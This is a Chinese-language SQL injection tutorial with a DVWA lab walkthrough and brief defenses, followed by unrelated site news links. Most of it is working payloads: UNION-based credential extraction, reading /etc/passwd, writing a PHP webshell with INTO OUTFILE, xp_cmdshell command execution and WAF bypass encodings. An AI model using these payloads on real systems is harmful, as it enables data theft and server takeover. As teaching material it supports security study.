SQL手工注入实战指南:原理、技巧与防御
1. SQL手工注入基础概念与原理剖析手工SQL注入是一种通过精心构造输入参数利用Web应用程序对用户输入过滤不严的漏洞直接操作后端数据库的技术手段。与自动化工具不同手工注入需要攻击者或安全测试人员对SQL语法、数据库结构和应用程序逻辑有深入理解。1.1 SQL注入的本质与危害SQL注入漏洞产生的根本原因是应用程序将用户输入直接拼接到SQL语句中执行。例如一个登录查询SELECT * FROM users WHERE username$user AND password$pass当攻击者输入admin--作为用户名时实际执行的SQL变为SELECT * FROM users WHERE usernameadmin-- AND password--在SQL中表示注释这使得密码验证被绕过。这种简单的例子展示了SQL注入如何破坏应用程序的安全逻辑。更严重的危害包括数据库信息泄露用户凭证、交易记录等敏感数据数据库篡改修改价格、删除记录等服务器文件系统访问通过LOAD_FILE和INTO OUTFILE甚至获取服务器控制权限通过写入Webshell1.2 注入类型分类体系根据不同的分类标准SQL注入可分为多种类型按结果返回形式显错注入错误信息直接显示在页面上盲注布尔盲注通过页面返回的真/假状态判断时间盲注通过响应延迟判断如sleep(5)按参数类型数字型注入参数无需引号包裹字符型注入参数用单/双引号包裹按技术实现联合查询注入UNION-based堆叠查询注入Stacked queries报错注入Error-based带外通道注入OOB2. 手工注入实战七步法2.1 第一步注入点检测与类型判断检测注入存在性数字型参数尝试id1和id1 and 11字符型参数尝试nameadmin和nameadmin and 11判断注入类型的关键差异数字型SELECT * FROM products WHERE id1 AND 11 字符型SELECT * FROM users WHERE nameadmin AND 11实用技巧使用#或--注释后续语句注意观察页面返回差异包括直接错误信息内容缺失HTTP状态码变化响应时间变化2.2 第二步确定字段数量通过ORDER BY子句逐步测试?id1 ORDER BY 1-- ?id1 ORDER BY 2-- ...当数字超过实际列数时数据库会报错。这是后续UNION注入的基础。常见错误处理某些数据库对ORDER BY数字的语法支持不同可能需要尝试GROUP BY作为替代2.3 第三步定位回显字段使用UNION SELECT确定哪些列会显示在页面上?id1 UNION SELECT 1,2,3--然后在数字位置插入测试函数?id1 UNION SELECT database(),version(),user()--高级技巧使用CONCAT()合并多个信息到一个字段对非显示字段尝试基于错误的提取技术2.4 第四步数据库信息收集关键信息获取语句-- 数据库版本 SELECT version -- 当前数据库 SELECT database() -- 用户权限 SELECT user(), super_priv FROM mysql.user -- 文件系统路径 SELECT datadir多数据库差异MySQLversion()SQL ServerVERSIONOracleSELECT banner FROM v$version2.5 第五步表结构枚举通过information_schema获取元数据-- 列出所有数据库 SELECT schema_name FROM information_schema.schemata -- 列出指定数据库的表 SELECT table_name FROM information_schema.tables WHERE table_schemadvwa绕过过滤技巧使用十六进制编码WHERE table_schema0x64767761使用注释分割WHERE/**/table_schemadvwa2.6 第六步字段提取与数据窃取获取表字段结构SELECT column_name FROM information_schema.columns WHERE table_nameusers AND table_schemadvwa提取敏感数据示例-- 获取用户名密码 SELECT user, password FROM dvwa.users -- 批量导出数据技巧 SELECT CONCAT(user,:,password) FROM users INTO OUTFILE /tmp/creds.txt2.7 第七步高级利用技术文件读取SELECT LOAD_FILE(/etc/passwd)需要FILE权限且知道绝对路径。文件写入SELECT ?php system($_GET[cmd]);? INTO OUTFILE /var/www/shell.php需要可写目录和足够权限。命令执行MySQL-- 需要插件支持 SELECT sys_exec(whoami)3. 不同数据库的特殊注入技巧3.1 MySQL特有技术字符串连接技巧SELECT CONCAT(a,b) -- 输出ab SELECT a b -- 输出ab注释变体# 单行注释 -- 单行注释注意末尾空格 /* 多行注释 */绕过过滤/*!50000SELECT*/ 1 -- 版本条件注释3.2 SQL Server特性堆叠查询?id1; EXEC xp_cmdshell whoami--错误消息利用SELECT 1/0 -- 产生显式错误3.3 Oracle特殊语法双重管道连接SELECT a||b FROM dual系统视图访问SELECT * FROM all_tables4. 防御措施与注入检测4.1 开发者防护方案参数化查询最佳实践# Python示例 cursor.execute(SELECT * FROM users WHERE id%s, (user_id,))输入验证白名单验证如只允许数字转义特殊字符最小权限原则应用数据库账户只授予必要权限禁用FILE、EXECUTE等高危权限4.2 手工注入检测工具链基础工具Burp Suite拦截修改请求HackBar浏览器插件快速构造请求OWASP ZAP自动化扫描工具高级技巧使用LIKE进行模糊匹配测试时间盲注时使用BENCHMARK()函数二进制数据使用HEX()编码传输5. 实战案例DVWA手工注入全流程5.1 环境准备设置DVWA安全级别为Low进入SQL Injection模块5.2 完整注入过程1. 检测注入点?id1 and 11 -- 正常 ?id1 and 12 -- 异常 → 确认字符型注入2. 确定列数?id1 order by 2-- -- 正常 ?id1 order by 3-- -- 错误 → 确认2列3. 定位回显?id1 union select 1,2-- → 发现第2列显示在页面4. 获取数据库信息?id1 union select 1,database()-- → 返回dvwa5. 枚举表名?id1 union select 1,table_name from information_schema.tables where table_schemadvwa-- → 发现users表6. 获取字段?id1 union select 1,column_name from information_schema.columns where table_nameusers-- → 发现user和password字段7. 提取凭证?id1 union select user,password from users-- → 获取管理员账号密码6. 高级绕过技术与疑难处理6.1 WAF绕过手法编码混淆/*!SELECT*/ 1 SE%4cECT 1 -- URL编码等价函数替换-- 代替空格 SELECT/**/1 SELECT%091 -- 制表符注释分割SEL/*xxx*/ECT 16.2 常见错误解决UNION列数不符-- 使用NULL填充 UNION SELECT 1,NULL,NULL--引号被过滤-- 使用十六进制 WHERE name0x61646d696e关键词被过滤-- 大小写变异 SeLeCt 1手工SQL注入是一门需要大量实践的技术真正的精通需要理解不同数据库的特性、熟悉各种过滤绕过手法并能在实际场景中灵活运用。建议在合法授权环境下通过DVWA、SQLi Labs等靶场进行系统练习。

相关新闻

Real Easy English:109期外教原声口语听力训练全攻略

Real Easy English:109期外教原声口语听力训练全攻略

这次我们来看一个实用的英语学习资源——Real Easy English 真实简单英语博客,这是一套包含109期话题的完整口语听力训练素材。这套资源最大的特点是提供了原汁原味的外教原声素材,每期都配有中英双语学习文本,特别适合想要提升地道英语口语能…

2026/7/18 2:16:41 阅读更多 →
BEV Occupancy与SMT验证:构建自动驾驶确定性感知与安全验证基石

BEV Occupancy与SMT验证:构建自动驾驶确定性感知与安全验证基石

1. 项目概述:当感知系统“看错”了世界2018年3月的一个夜晚,亚利桑那州坦佩市,一辆Uber ATG的自动驾驶测试车以43英里每小时的速度行驶。在撞击发生前5.6秒,它的感知系统“看到”了前方横穿马路的行人Elaine Herzberg。然而&#…

2026/7/18 2:15:41 阅读更多 →
实验性开发框架部署实践:从环境配置到性能优化

实验性开发框架部署实践:从环境配置到性能优化

这次我们来看一个名为"瞎整"的项目。从名称来看,这很可能是一个带有实验性质的开源工具或框架,专注于提供灵活、非传统的技术解决方案。这类项目通常面向那些希望在标准流程之外进行技术探索的开发者。"瞎整"项目的核心价值在于它可…

2026/7/18 2:15:41 阅读更多 →

最新新闻

VC++界面编程实战:从Win32窗口到MFC与多线程开发

VC++界面编程实战:从Win32窗口到MFC与多线程开发

1. 项目概述:为什么VC界面编程依然值得投入?如果你是一位C开发者,尤其是长期在Windows平台上耕耘的同行,看到“VC界面编程”这个标题,第一反应可能是:“这都什么年代了,还在讲MFC?”…

2026/7/18 15:40:21 阅读更多 →
2.8 万亿参数,Kimi K3 卷出新高度!开源新王,性能直逼 Fable 5

2.8 万亿参数,Kimi K3 卷出新高度!开源新王,性能直逼 Fable 5

编程竞技场 Code Arena,Kimi K3 登顶了!Code Arena 是一个匿名盲测平台。用户看不到模型名字,只根据生成结果的质量投票打分。1679 分。Claude Fable 5 第二,1631。GPT-5.6 Sol 第三,1618。上一代 Kimi K2.6 排第 18。…

2026/7/18 15:40:21 阅读更多 →
C++多线程编程实战指南:从基础概念到高级应用

C++多线程编程实战指南:从基础概念到高级应用

1. 项目概述:为什么C多线程是每个开发者绕不开的坎如果你写过C,并且你的程序需要处理超过一个任务,比如一边响应用户界面操作,一边从网络下载文件,或者同时计算一个大型矩阵的不同部分,那么你迟早会碰到“多…

2026/7/18 15:40:21 阅读更多 →
Python实现自定义Base64加密:从编码原理到可定制码表的安全实践

Python实现自定义Base64加密:从编码原理到可定制码表的安全实践

1. 项目概述:从Base64到自定义加密的跃迁 如果你在编程中处理过文本或二进制数据的编码,Base64这个名字你一定不陌生。它几乎是数据传输和存储的“万金油”,从邮件附件到网页图片的Data URL,无处不在。但你是否想过,Ba…

2026/7/18 15:40:21 阅读更多 →
C++有符号整数转小端序十六进制:补码、字节序与内存操作实践

C++有符号整数转小端序十六进制:补码、字节序与内存操作实践

1. 项目概述:从“知道”到“掌控”的内存数据布局在C开发中,尤其是涉及网络通信、文件解析、硬件交互或安全加密的领域,我们经常听到“小端序”、“大端序”这些术语。很多开发者知道这个概念,也大概明白小端序是“低位字节在前”…

2026/7/18 15:40:21 阅读更多 →
如何快速将OFD文件转换为PDF:Ofd2Pdf完整使用指南

如何快速将OFD文件转换为PDF:Ofd2Pdf完整使用指南

如何快速将OFD文件转换为PDF:Ofd2Pdf完整使用指南 【免费下载链接】Ofd2Pdf Convert OFD files to PDF files. 项目地址: https://gitcode.com/gh_mirrors/ofd/Ofd2Pdf 还在为无法打开OFD格式的电子发票、政府公文而烦恼吗?Ofd2Pdf是一款专注于解…

2026/7/18 15:39:20 阅读更多 →

日新闻

从模糊意图到可执行指令:Claude PRD中Prompt Engineering与需求颗粒度的5级映射法则

从模糊意图到可执行指令:Claude PRD中Prompt Engineering与需求颗粒度的5级映射法则

更多请点击: https://kaifayun.com 第一章:从模糊意图到可执行指令:Claude PRD中Prompt Engineering与需求颗粒度的5级映射法则 在Claude驱动的产品需求文档(PRD)生成实践中,原始业务意图往往以自然语言片…

2026/7/18 0:00:38 阅读更多 →
Cursor配置生成失效?3大隐藏陷阱+4行修复代码,资深工程师连夜整理的紧急补救清单

Cursor配置生成失效?3大隐藏陷阱+4行修复代码,资深工程师连夜整理的紧急补救清单

更多请点击: https://codechina.net 第一章:Cursor配置生成失效?3大隐藏陷阱4行修复代码,资深工程师连夜整理的紧急补救清单 Cursor 配置生成突然失效,是近期高频报障场景。表面看是 cursor.config.json 未更新或 LSP…

2026/7/18 0:00:38 阅读更多 →
某智驾大牛创业

某智驾大牛创业

作者:钟声编辑:Mark出品:红色星际头图:智能驾驶图片据悉,国内某头部智驾公司端到端模型技术大牛Z投身创业,并且已经拿到融资。Z不仅是该头部公司内部最年轻的对标阿里P10级别技术负责⼈,更是业内…

2026/7/18 0:00:38 阅读更多 →

周新闻

月新闻